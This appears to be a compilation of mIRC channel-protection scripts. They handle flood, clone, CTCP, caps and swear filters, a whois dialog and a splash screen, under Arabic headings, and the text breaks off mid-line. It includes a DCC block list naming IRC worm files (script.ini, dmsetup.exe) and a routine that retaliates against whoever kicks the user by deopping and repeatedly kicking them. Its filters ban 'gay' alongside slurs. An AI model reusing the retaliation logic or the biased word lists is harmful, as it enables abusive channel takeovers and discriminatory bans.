:kick set %flterbankick $ialchan($banmask,#,%flterban).nick if (%flterbankick == $null ) { goto end } if (%flterbankick isop #) { goto end } kick # %flterbankick 12This Ip4 $banmask 12Was Banned By4 $Nick inc %flterban 1 goto kick :end unset %banflte* } on @*:JOIN:#:{ if (%clone-kick == on) { if ($ialchan($address($nick,1),$chan,1).nick isop $chan) || ($ialchan($address($nick,1),$chan,1).nick isvo $chan) || ($ialchan($address($nick,2),$chan,2).nick isop $chan) || ($ialchan($address($nick,2),$chan,2).nick isvo $chan) { goto end } if ($ialchan($address($nick,1),$chan,N) >= 2) { goto kick } else { goto end } :kick ban $chan $ialchan($address($nick,1),$chan,2).nick 2 kick $chan $ialchan($address($nick,1),$chan,2).nick Clone Detected kick $chan $ialchan($address($nick,2),$chan,2).nick Clone Detected :end } } #noctcp on ctcp *:finger:#:{ if ($nick !isop $chan) { .mode $chan +bRm $wildsite ignore -u40 $wildsite kick $chan $nick Ctcp Is Not Allowed here...! .timer 1 22 /mode # -mR } } ctcp *:VERSION:#:{ if ($nick !isop $chan) { .mode $chan +bRm $wildsite ignore -u40 $wildsite kick $chan $nick Ctcp Is Not Allowed here...! .timer 1 22 /mode # -mR } } ctcp *:time:#:{ if ($nick !isop $chan) { .mode $chan +bRm $wildsite ignore -u40 $wildsite kick $chan $nick Ctcp Is Not Allowed here...! .timer 1 22 /mode # -mR } } #noctcp end on *:TEXT:*:#:{ inc %textflood. [ $+ [ $nick ] ] | .timer 1 6 unset %textflood. [ $+ [ $nick ] ] if (%textflood. [ $+ [ $nick ] ] >= 4) { if ($nick isop $chan) || ($nick isvo $chan) { halt } if ($me isop $chan) { ban -u300 $chan $nick 3 | kick $chan $nick فلود } else { .ignore -cu10 $nick 2 } } } on *:TEXT:*#*:?:{ var %invito = $comchan($nick,0) | while (%invito) { if ($nick !isop $comchan($nick,%invito)) { if ($comchan($nick,%invito).op) { ban $comchan($nick,%invito) $nick | kick $comchan($nick,%invito) $nick 12لا اتسوي انفايت } | else { msg $comchan($nick,%invito) $nick 4<12===2 انفايت في البرايفت } } | dec %invito } | closemsg $nick } on ^*:JOIN:#:{ var %i = 1 set -u30 %flood ] $addtok(%flood ] ,$nick,32) if $numtok(%flood ] ,32) >= 3 { ignore -ctnu350 $wildsite /mode # +b+miRc $wildsite { /kick # $gettok(%flood ] ,%i,32) 1,11,1‌15,15‌14,14‌1,1‌1,11,1‌15,15‌14,14‌1,1‌1,11,1‌15,15‌14,14‌1,1‌0,01NoFLoOoD # 1,11,1‌15,15‌14,14‌1,1‌1,11,1‌15,15‌14,14‌1,1‌1,11,1‌15,15‌14,14‌1,1‌0`7alooDy1,11,1‌15,15‌14,14‌1,1‌0ScRipT1,11,1‌15,15‌14,14‌1,1‌0v41,11,1‌15,15‌14,14‌1,1‌1,11,1‌15,15‌14,14‌1,1‌1,11,1‌15,15‌14,14‌1,1‌ inc %i } unset %flood ] } } #quitpro on on *:quit:{ if ($nick != $me) { set %quitcolor $count($1-,) if (%quitcolor > 40) && ($me isop $comchan($nick,1)) /mode $comchan($nick,1) +mRb $wildsite halt set %quit2color $count($1-,) if (%quit2color > 30) && ($me isop $comchan($nick,1)) /mode $comchan($nick,1) +mRb $wildsite halt } } #quitpro end on @1:text:*:#:{ if (%check [ $+ [ $chan [ $+ [ $nick ] ] ] ] == $null ) { set %check [ $+ [ $chan [ $+ [ $nick ] ] ] ] $1- | .timer 1 30 unset %check [ $+ [ $chan [ $+ [ $nick ] ] ] ] } elseif ((%check [ $+ [ $chan [ $+ [ $nick ] ] ] ] == $1- ) && (%check2 [ $+ [ $chan [ $+ [ $nick ] ] ] ] == $null )) { set %check2 [ $+ [ $chan [ $+ [ $nick ] ] ] ] $1- | .notice $nick 4(12 $+ $chan $+ 4) لا اتكرر الكلام ترا بتنطرد من | .timer 1 30 unset %check2 [ $+ [ $chan [ $+ [ $nick ] ] ] ] } elseif (%check2 [ $+ [ $chan [ $+ [ $nick ] ] ] ] == $1- ) { raw -q mode $chan +b $wildsite | raw -q kick $chan $nick : Repeating | unset %check [ $+ [ $chan [ $+ [ $nick ] ] ] ] | unset %check2 [ $+ [ $chan [ $+ [ $nick ] ] ] ] } } on 1:MODE:#:{ if ($nick == $me) || (chanserv == $nick) || ($network == $nick) { halt } if (%takeoverpro == ON) { if ($me isop $chan) { if ( R isin $1- ) { ban # $nick 2 | kick # $nick TakeOver Pro! By Hummer | mode # - $+ $remove($1-,+) } } } } on *:JOIN:#:{ if ($me isop $chan) && ($len($nick) = 6) { .set %lett abcdefjhigklmnopqrstuvwxyz | .set %num 1234567890 } if ($me isop $chan) && ($len($nick) = 6) && ($left($nick,1) isin %lett) && ($mid($nick,2,1) isin %lett) && ($mid($nick,3,1) isin %lett) && ($mid($nick,4,1) isin %lett) && ($mid($nick,5,1) isin %num) && ($right($nick,1) isin %num) && ($nick ison $chan) { if ($mid($address,1,1) isin %lett) && ($mid($address,2,1) isin %lett) && ($mid($address,3,1) isin %lett) && ($mid($address,4,1) isin %lett) && ($mid($address,5,1) isin %num) && ($mid($address,6,1) isin %num) { kick # $nick 4Turbo Inviter OUT | ban -u600 # $nick 2 | unset %num %lett } } } on @1:join:#:{ inc -u12 %join. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%join. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 2) { mode # +b $wildsite } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) && ($len($strip($1-)) > 250) { mode # +b $wildsite kick # $nick Long text } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) && ($len($strip($1-)) > 250) { mode # +b $wildsite kick # $nick Long notice } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) && ($len($strip($1-)) > 250) { mode # +b $wildsite kick # $nick Long action } } on @1:join:#:{ if (fuck isin $nick) || (bitch isin $nick) || (gay isin $nick) || (sex isin $nick) || (dick isin $nick) || (نيج isin $nick) || (منيوج isin $nick) || (خنيث isin $nick) || (مخانيث isin $nick) || (قحب isin $nick) || (قحاب isin $nick) || (العن isin $nick) || (شرموط isin $nick) || (شراميط isin $nick) || (كس isin $nick) || (زب isin $nick) || (عير isin $nick) || (طيز isin $nick) || (مكو isin $nick) || (مكاوي isin $nick) || (زق isin $nick) || (خر isin $nick) || (قض isin $nick) || (صرم isin $nick) { mode # +b $wildsite kick # $nick Bad Nick } } on @1:nick:{ if (fuck isin $newnick) || (bitch isin $newnick) || (gay isin $newnick) || (sex isin $newnick) || (dick isin $newnick) || (نيج isin $newnick) || (منيوج isin $newnick) || (خنيث isin $newnick) || (مخانيث isin $newnick) || (قحب isin $newnick) || (قحاب isin $newnick) || (العن isin $newnick) || (شرموط isin $newnick) || (شراميط isin $newnick) || (كس isin $newnick) || (زب isin $newnick) || (عير isin $newnick) || (طيز isin $newnick) || (مكو isin $newnick) || (مكاوي isin $newnick) || (زق isin $newnick) || (خر isin $newnick) || (قض isin $newnick) || (صرم isin $newnick) { set %i $comchan($newnick,0) while (%i) { set %i2 $comchan($newnick,%i) if ($me isop %i2) && ($newnick !isvo %i2) && ($newnick !isop %i2) { mode %i2 +b $wildsite kick %i2 $newnick Bad Nick } dec %i } } } on @1:action:slap*:#:{ if ($nick !isvo #) && ($nick !isop #) { mode # +b $wildsite kick # $nick Slap! } } ctcp @1:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if (sound isin $1-) || (wav isin $1-) || (mp3 isin $1-) || (mid isin $1-) { mode # +b $wildsite kick # $nick Sounds } } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) && ($len($1-) > 10) { unset %i2 set %i $len($1-) while (%i) { if ($asc($mid($1-,%i,1)) isnum 65-90) { inc %i2 } dec %i } if (%i2 > $calc($len($1-) / 4)) { mode # +b $wildsite kick # $nick CAPS (Excessive capital letters) } } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) && ($len($1-) > 10) { unset %i2 set %i $len($1-) while (%i) { if ($asc($mid($1-,%i,1)) isnum 65-90) { inc %i2 } dec %i } if (%i2 > $calc($len($1-) / 4)) { mode # +b $wildsite kick # $nick CAPS (Excessive capital letters) } } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) && ($len($1-) > 10) { unset %i2 set %i $len($1-) while (%i) { if ($asc($mid($1-,%i,1)) isnum 65-90) { inc %i2 } dec %i } if (%i2 > $calc($len($1-) / 4)) { mode # +b $wildsite kick # $nick CAPS (Excessive capital letters) } } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) { unset %i2 set %i $len($1-) while (%i) { if ($asc($mid($1-,%i,1)) isnum 33-47) || ($asc($mid($1-,%i,1)) isnum 123-137) || ($asc($mid($1-,%i,1)) isnum 144-155) || ($asc($mid($1-,%i,1)) isnum 163-177) || ($asc($mid($1-,%i,1)) isnum 182-192) || ($asc($mid($1-,%i,1)) isnum 231-251) { inc %i2 } dec %i } if (%i2 > $calc($len($1-) / 4)) { mode # +b $wildsite kick # $nick Strange/freak fonts! } } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) { unset %i2 set %i $len($1-) while (%i) { if ($asc($mid($1-,%i,1)) isnum 33-47) || ($asc($mid($1-,%i,1)) isnum 123-137) || ($asc($mid($1-,%i,1)) isnum 144-155) || ($asc($mid($1-,%i,1)) isnum 163-177) || ($asc($mid($1-,%i,1)) isnum 182-192) || ($asc($mid($1-,%i,1)) isnum 231-251) { inc %i2 } dec %i } if (%i2 > $calc($len($1-) / 4)) { mode # +b $wildsite kick # $nick Strange/freak fonts! } } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) { unset %i2 set %i $len($1-) while (%i) { if ($asc($mid($1-,%i,1)) isnum 33-47) || ($asc($mid($1-,%i,1)) isnum 123-137) || ($asc($mid($1-,%i,1)) isnum 144-155) || ($asc($mid($1-,%i,1)) isnum 163-177) || ($asc($mid($1-,%i,1)) isnum 182-192) || ($asc($mid($1-,%i,1)) isnum 231-251) { inc %i2 } dec %i } if (%i2 > $calc($len($1-) / 4)) { mode # +b $wildsite kick # $nick Strange/freak fonts! } } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) { set %i $gettok($1-,0,32) while (%i) { if ($len($gettok($1-,%i,32)) = 7) && ($gettok($1-,%i,32) isnum) { mode # +b $wildsite kick # $nick phone number kick } dec %i } } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) { set %i $gettok($1-,0,32) while (%i) { if ($len($gettok($1-,%i,32)) = 7) && ($gettok($1-,%i,32) isnum) { mode # +b $wildsite kick # $nick phone number kick } dec %i } } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) { set %i $gettok($1-,0,32) while (%i) { if ($len($gettok($1-,%i,32)) = 7) && ($gettok($1-,%i,32) isnum) { mode # +b $wildsite kick # $nick phone number kick } dec %i } } } on 1:join:#:{ inc -u6 %join/part. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%join/part. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 2) { if ($me isop #) { mode # +Rb $wildsite } ignore -tkdu300 $wildsite } } on 1:join:#:{ inc -u8 %floodquit. [ $+ [ $wildsite ] ] inc -u4 %fastquit. [ $+ [ $wildsite ] ] set -u22 %fastquitCHAN. [ $+ [ $wildsite ] ] # } on 1:quit:{ if (%fastquit. [ $+ [ $wildsite ] ] > 1) { if ($me isop %fastquitCHAN. [ $+ [ $wildsite ] ]) { mode %fastquitCHAN. [ $+ [ $wildsite ] ] +Rb $wildsite } halt } if (%fastquit. [ $+ [ $wildsite ] ] != $null) || (%floodquit. [ $+ [ $wildsite ] ] > 1) { ignore -tkdu300 $wildsite if ($me isop %fastquitCHAN. [ $+ [ $wildsite ] ]) { mode %fastquitCHAN. [ $+ [ $wildsite ] ] +b $wildsite } } } on ^1:text:!list*:#:{ if ($me isop #) { mode # +mb $wildsite } ignore -tkdcu300 $wildsite halt } ctcp ^1:*:#:{ inc -u2 %ctcp if (%ctcp > 6) { ignore -tku300 *!*@* } if ($me isop #) && ($nick !isvo #) && ($nick !isop #) { set %i $comchan(0) while (%i) { set %i2 $comchan(%i) if ($me isop %i2) { mode %i2 +mb $wildsite } dec %i } } ignore -tdku600 $wildsite echo 4 -a $asctime([h:nn]) [[ $+ $nick $+ : $+ # $1- $+ ]] halt } on 1:text:*:#:{ if ($words($1-,$0)) { ignore -ctkdu300 $wildsite if ($me isop #) mode # +b $wildsite } } on 1:notice:*:#:{ if ($words($1-,$0)) { ignore -ntkdu300 $wildsite if ($me isop #) mode # +b $wildsite } } on 1:action:*:#:{ if ($words($1-,$0)) { ignore -ctkdu300 $wildsite if ($me isop #) mode # +b $wildsite } } on 1:part:#:{ if ($words($1-,$0)) { ignore -tkd300 $wildsite if ($me isop #) mode # +b $wildsite } } on 1:quit:{ if ($words($1-,$0)) { ignore -tkd300 $wildsite set %i $chan(0) while (%i) { set %i2 $chan(%i) if ($me isop %i) mode %i2 +b $wildsite dec %i } } } alias words { if ($2 = 1) && ($len($1) > 125) { return $true halt } if ($2 isnum 2-6) && ($calc($len($1) / $2) > 25) { return $true halt } if ($2 > 6) && ($calc($len($1) / $2) > 20) { return $true halt } if ($len($1) > 20) && ($count($1,,,,,, ) > $len($strip($1))) { return $true halt } } on *:open:?:{ inc -u3 %open if (%open > 6) ignore -tkpu120 *!*@* inc -u7 %open. [ $+ [ $wildsite ] ] if (%open. [ $+ [ $wildsite ] ] > 2) { ignore -tkpu300 $wildsite } } on *:close:?:dec %open. [ $+ [ $wildsite ] ] on *:notice:*:?:{ if (serv !isin $nick) { inc -u2 %notice if (%notice > 4) ignore -nu120 *!*@* inc -u5 %notice. [ $+ [ $wildsite ] ] if (%notice. [ $+ [ $wildsite ] ] > 4) { ignore -tknu300 $wildsite } } } on ^1:text:!list*:?:{ ignore -tkdpu300 $wildsite close -m $nick halt } ctcp *:*:?:{ inc -u4 %ctcp if (%ctcp > 6) ignore -tu120 *!*@* inc -u5 %ctcp. [ $+ [ $wildsite ] ] if (%ctcp. [ $+ [ $wildsite ] ] > 4) { ignore -tku300 $wildsite } } ctcp *:DCC*:?:{ inc -u5 %chat if (%chat > 4) ignore -du120 *!*@* inc -u10 %chat. [ $+ [ $wildsite ] ] if (%chat. [ $+ [ $wildsite ] ] > 3) { ignore -tknu300 $wildsite } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if (%repeat1. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] = $strip($1-)) { inc -u10 %repeat2. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%repeat2. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 1) { mode # +b $wildsite kick # $nick Repeating } } else { set -u6 %repeat1. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] $strip($1-) } } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if (%repeat1. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] = $strip($1-)) { inc -u10 %repeat2. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%repeat2. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 1) { mode # +b $wildsite kick # $nick Repeating } } else { set -u6 %repeat1. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] $strip($1-) } } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if (%repeat1. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] = $strip($1-)) { inc -u10 %repeat2. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%repeat2. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 1) { mode # +b $wildsite kick # $nick Repeating } } else { set -u6 %repeat1. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] $strip($1-) } } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) { inc -u3 %flood. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%flood. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 4) { mode # +b $wildsite kick # $nick Text flood } } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) { inc -u3 %flood. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%flood. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 4) { mode # +b $wildsite kick # $nick Notice flood } } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) { inc -u3 %flood. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] if (%flood. [ $+ [ # ] $+ ] . [ $+ [ $wildsite ] ] > 4) { mode # +b $wildsite kick # $nick Action flood } } } on 1:nick:{ inc -u15 %nick. [ $+ [ $wildsite ] ] if (%nick. [ $+ [ $wildsite ] ] > 2) { set %i $comchan($newnick,0) while (%i) { set %i2 $comchan($newnick,%i) if ($me isop %i2) && ($newnick !isvo %i2) && ($newnick !isop %i2) { mode %i2 +b $wildsite kick %i2 $newnick Nick flood } dec %i } } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if ($count($1-,) > 50) || ($count($1-,) > 50) || ($count($1-,) > 50) { mode # +b $wildsite kick # $nick Excessive control codes } } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if ($count($1-,) > 50) || ($count($1-,) > 50) || ($count($1-,) > 50) { mode # +b $wildsite kick # $nick Excessive control codes } } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if ($count($1-,) > 50) || ($count($1-,) > 50) || ($count($1-,) > 50) { mode # +b $wildsite kick # $nick Excessive control codes } } } on @1:join:#:{ if ($ialchan($wildsite,#,0) > 1) && ($wildsite !iswm $address($me,5)) { set %i $ialchan($wildsite,#,0) while (%i) { set %i2 $ialchan($wildsite,#,%i).nick if (%i2 !isvo #) && (%i2 !isop #) { mode # +b $wildsite kick # %i2 Clone } dec %i } } } on @1:ban:#:{ set %i $ialchan($banmask,#,0) while (%i) { set %i2 $ialchan($banmask,#,%i).nick if (%i2 !isvo #) && (%i2 !isop #) { kick # %i2 Banned by $nick } dec %i } } on @1:text:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if (fuck isin $1-) || (bitch isin $1-) || (gay isin $1-) || (sex isin $1-) || (dick isin $1-) || (نيج isin $1-) || (منيوج isin $1-) || (خنيث isin $1-) || (مخانيث isin $1-) || (قحب isin $1-) || (قحاب isin $1-) || (العن isin $1-) || (شرموط isin $1-) || (شراميط isin $1-) || (كس isin $1-) || (زب isin $1-) || (عير isin $1-) || (طيز isin $1-) || (مكو isin $1-) || (مكاوي isin $1-) || (زق isin $1-) || (خر isin $1-) || (قض isin $1-) || (صرم isin $1-) { mode # +b $wildsite kick # $nick Swearing } } } on @1:notice:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if (fuck isin $1-) || (bitch isin $1-) || (gay isin $1-) || (sex isin $1-) || (dick isin $1-) || (نيج isin $1-) || (منيوج isin $1-) || (خنيث isin $1-) || (مخانيث isin $1-) || (قحب isin $1-) || (قحاب isin $1-) || (العن isin $1-) || (شرموط isin $1-) || (شراميط isin $1-) || (كس isin $1-) || (زب isin $1-) || (عير isin $1-) || (طيز isin $1-) || (مكو isin $1-) || (مكاوي isin $1-) || (زق isin $1-) || (خر isin $1-) || (قض isin $1-) || (صرم isin $1-) { mode # +b $wildsite kick # $nick Swearing } } } on @1:action:*:#:{ if ($nick !isvo #) && ($nick !isop #) { if (fuck isin $1-) || (bitch isin $1-) || (gay isin $1-) || (sex isin $1-) || (dick isin $1-) || (نيج isin $1-) || (منيوج isin $1-) || (خنيث isin $1-) || (مخانيث isin $1-) || (قحب isin $1-) || (قحاب isin $1-) || (العن isin $1-) || (شرموط isin $1-) || (شراميط isin $1-) || (كس isin $1-) || (زب isin $1-) || (عير isin $1-) || (طيز isin $1-) || (مكو isin $1-) || (مكاوي isin $1-) || (زق isin $1-) || (خر isin $1-) || (قض isin $1-) || (صرم isin $1-) { mode # +b $wildsite kick # $nick Swearing } } }                

on !1:kick:#: { if (list isin $parms) { kick $chan $nick 12]No LIST Allowed } if (bot isin $nick) { halt } if (b0t isin $nick) { halt } if (serv isin $nick) { halt } if (sevr isin $nick) { halt } if ($knick == $me) { set %kicker $nick | .auser 10 $nick | chanserv invite $chan $me | chanserv deop $chan $nick | timer1 2 5 join $chan | halt } } on !1:op:#: { if (%kicker ison $chan) { kick $chan %kicker 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection kick | unset %kicker | timer1 off } } on +10:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 1 kick | .ruser 10 $nick | .auser 20 $nick } on +20:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 2 kick | .ruser 20 $nick | .auser 30 $nick } on +30:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 3 kick | .ruser 30 $nick | .auser 40 $nick } on +40:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 4 kick | .ruser 40 $nick | .auser 50 $nick } on +50:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 5 kick | .ruser 50 $nick | .auser 60 $nick } on +60:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 6 kick | .ruser 60 $nick | .auser 70 $nick } on +70:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 7 kick | .ruser 70 $nick | .auser 80 $nick } on +80:join:#: { kick $chan $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  12Protection 8 kick | .ruser 80 $nick | .auser 90 $nick } on +90:join:#: { kick $chan $nick 12Protection Script | mode $chan +b $address | .ruser 10 $nick } #777 end

                                                            طرد الأيدنت السيء

                                                 +b *!*[email protected]

;========================= ;Written By: Viper753 ;Viper753q8@hotmail.com ;Http://go.to/Viper753 ;========================= #bado off on @*:JOIN:#:{ if (*!*FUCK*@* iswm $fulladdress) || (*!*SHIT*@* iswm $fulladdress) || (*!*DICK*@* iswm $fulladdress) { ban -u60 # $nick 11 kick # $nick Bad Identd! } } #bado end menu channel,status { Bad Identd .ON:/enable #bado | echo 3 *** The Bad Identd auto kick is now ON .OFF:/disable #bado | echo 3 *** The Bad identd auto kick is now OFF } alias thank dialog -mo thank thank dialog thank { title "Add-ons By Viper753" size -1 -1 200 180 box "",1,5 0 190 70 text "Thank you for loading this Add-on written by Viper753. Please visit my website for more add-ons and other IRC tools. Have fun.",2,10 12 180 50,left box "",3,5 68 190 86 text "Viper753q8@hotmail.com",4,10 80 180 15,center edit "http://go.to/Viper753",5,33 100 130 22,center,read button "Visit",6,70 127 50 20 button "Close",7,5 158 190 20,ok } on *:dialog:thank:init:0:/did -f thank 6 on *:dialog:thank:sclick:6:/run http://go.to/Viper753 on *:load:if ($version < 5.51) { echo 3 *** Warning: This script requires mIRC v5.51 or higher. You are using mIRC $version which is incompatible with this script. Please download the latest copy of mIRC from www.mirc.co.uk | .unload -rs cloo.mrc | halt } | thank

                                                          طرد الى اكرر الكلام اكثر من مره

;Autor:^NaSoN^ - nason@olimpo.org ;Este addons es un anti-repeticiones de texto en canal (kick a las 4 repeteciones en menos de 30 seg.). ;Puedes usar este addons en tu scripts siempre que cites su procedencia. --------------------------------------------------------------------------- #repeat on on 1!:TEXT:*:#:{ if (%rtex. [ $+ [ $nick ] ] != $1-) { set -u30 %rtex. [ $+ [ $nick ] ] $1- | set -u30 %rtex 1 } else { inc %rtex 1 | if (%rtex == 4) && ($me isop #) && ($nick !isop #) { Kick $chan $nick *Repeat protecciَn. 4 repeticiones en 30 seg $tig } } halt } #repeat end alias -l tig return  13- Ti $+ $+ 13Ge $+ $+ 13R 13v2.0 $+  ; menu menubar { - Antirepeat .activar:.enable #repeat .parar:.disable #repeat - }

طرد الى  يرسل ملفات الزوار الجنل

; DCC kick #dcckik on ctcp 1:*:{ if ($1 == DCC) && ($2 == SEND) { if (($3 == script.ini) || ($3 == dmsetup.exe) || ($3 == dickdik.exe) || ($3 == nukings.exe) || ($3 == helltoe.exe) || ($3 == lovefun.exe) || ($3 == JNKARM.exe) ) { unset %i.* set %i.1 $comchan($nick,0) :startsend inc %i.2 1 if (%i.2 > %i.1) { goto endsend } set %i.3 $comchan($nick,%i.2) if (%i.3 != #Nohack) || (%i.3 != #Dalnethelp) && ($me isop %i.3) { inc %knum 1 .ban -u300 %i.3 $nick 2 .kick %i.3 $nick DCC Virus Infected Auto-Kick %logo } goto startsend :endsend unset %i.* halt } } } #dcckik end --

فلاش لسكربت  اثناء التشغيل

on 1:START: { window -aohdp +f @dark $calc( ( $window(-1).w - 300 ) / 2 ) $calc( ( $window(-1).h - 200 ) / 2 ) 800 600 @dark /drawfill @dark 1 1 1 12 set %coul_abs 255 /.timerdem -m 26 10 /aff_deb_abs } menu @dark { sclick { if ( %dark == 1 ) { window -c @dark | unset %dark %coul_abs } } } alias aff_deb_abs { /drawtext -rc @dark $rgb(%coul_abs,%coul_abs,%coul_abs) Tahoma 180 00 200 800 600 اكتب هني dec %coul_abs 10 if ( %coul_abs < 0 ) { /.timerdem off | set %coul_abs 255 | /.timerdem -m 26 10 /aff_deb_abs2 } } alias aff_deb_abs2 { /drawtext -rc @dark $rgb(%coul_abs,%coul_abs,%coul_abs) Tahoma 180 200 170 800 600 اكتب هني dec %coul_abs 10 if ( %coul_abs < 0 ) { /.timerdem off | set %coul_abs 255 | /.timerdem -m 26 1 /aff_deb_abs3 } } alias aff_deb_abs3 { /drawtext -rc @dark $rgb(%coul_abs,%coul_abs,%coul_abs) Tahoma 190 00 200 800 600 اكتب هني dec %coul_abs 10 if ( %coul_abs < 0 ) { /.timerdem off | set %coul_abs 255 | /.timerdem -m 26 1 /aff_deb_abs4 } } alias aff_deb_abs4 { /drawtext -rc @dark $rgb(%coul_abs,%coul_abs,%coul_abs) Tahoma 190 00 200 800 600 اكتب هني dec %coul_abs 10 $mircdir\invite\button.bmp if ( %coul_abs < 0 ) { /.timerdem off | set %coul_abs 255 | /.timerdem -m 26 1 /aff_deb_abs5 } } alias aff_deb_abs5 { /drawtext -rc @dark $rgb(%coul_abs,%coul_abs,%coul_abs) Tahoma 190 00 200 800 600 اكتب هني dec %coul_abs 10 if ( %coul_abs < 0 ) { /.timerdem off | unset %coul_abs | /aff_deb_absfin } } alias aff_deb_absfin { set %dark 1 /.timerdem -m 0 100 /aff_deb_absnj /drawtext -c @dark 0 Tahoma 90 00 5 800 600 اكتب هني /drawtext -c @dark 0 Tahoma 100 0 20 800 600 اكتب هني /drawtext -c @dark 0 Tahoma 90 0 120 800 600 Nick: $me $+ /drawtext -c @dark 0 Tahoma 70 65 430 800 600 اكتب هني /drawtext -c @dark 0 Tahoma 30 50 530 800 600 اكتب هني } alias aff_deb_absnj { if ( $window(@dark) == $null ) { /.timerdem off | halt } | /drawtext -rc @dark $rgb($rand(0,255),$rand(0,255),$rand(0,255)) Tahoma 150 220 250 800 600 [OK] }

صندوق هو ازdialog

;##################= ; [Dialog Whois] # ; ©[m0sh] Soft Inc. # ; http://ayuda-hoy.cc # ; 96-2000 # ; #Ayuda Undernet # ;##################= on 1:load: { if ($version < 5.7) { echo -a *** 4[Dialog 12Whois] No tienes la version indicada para este addon... tal vez no funcione , te recomiendo la version 5.7 o 5.6 de mIRC . } else { echo -a *** 4[Dialog 12Whois] Cargado y Preparado ! 4(c)[m0sh] Soft Inc. } } #whois off raw 311:*: { set %whois.host $3 $+ @ $+ $4. [ Pais: $country($4) ] | set %whois.name $6- | set %whois.ircop No es IRcop | set %whois.away No esta Away | if (DirC1 isin $3) { set %whois.script «(ذدGدTه£ )» | halt } if (zX-V.1.0 isin $3) { set %whois.script zطtaG}¤{X©®ïpt» | halt } if (WarNeT isin $3) { set %whois.script WarNeT 3.0 | halt } elseif (sphere isin $3) { set %whois.script 7th Sphere 3.0 | halt } elseif (WOPR-56_0j isin $3) { set %whois.script WOPR-56 | halt } elseif (K-ZomBie isin $3) { set %whois.script Killer Zombie | halt } elseif (ircap63 isin $3) { set %whois.script IRcap | halt } elseif (orbital isin $3) { set %whois.script Orbital | halt } elseif (QuaKe isin $3) { set %whois.script QuaKe Script | halt } elseif (ZonaD isin $3) { set %whois.script zطnآ ذ | halt } elseif (IRcap6 isin $3) { set %whois.script IRcap v6 | halt } elseif (QuezScript isin $3) { set %whois.script {QuEzTaL} Script| halt } elseif (wipe isin $3) { set %whois.script WipeOut | halt } elseif (_BruJo_ isin $3) { set %whois.script [BrUjErLa Script]| halt } elseif (x-cript isin $3) { set %whois.script X-CRiPt | halt } elseif (hocus isin $3) { set %whois.script Hocus Pocus | halt } elseif (krakatau isin $3) { set %whois.script KraKaTau | halt } elseif (MeGaScRiPt isin $3) { set %whois.script MeGaScRiPt 4.0 | halt } elseif (oobee isin $3) { set %whois.script OObee | halt } elseif (PhAnATiC isin $3) { set %whois.script PhAnATiC | halt } elseif (chevara isin $3) { set %whois.script Chevara | halt } else { set %whois.script Desconocido | halt } halt } raw 312:*: set %whois.server $3 | halt raw 301:*: set %whois.away Se encuantra Away | halt raw 319:*: set %whois.canales $3- | halt raw 313:*: set %whois.ircop Es un 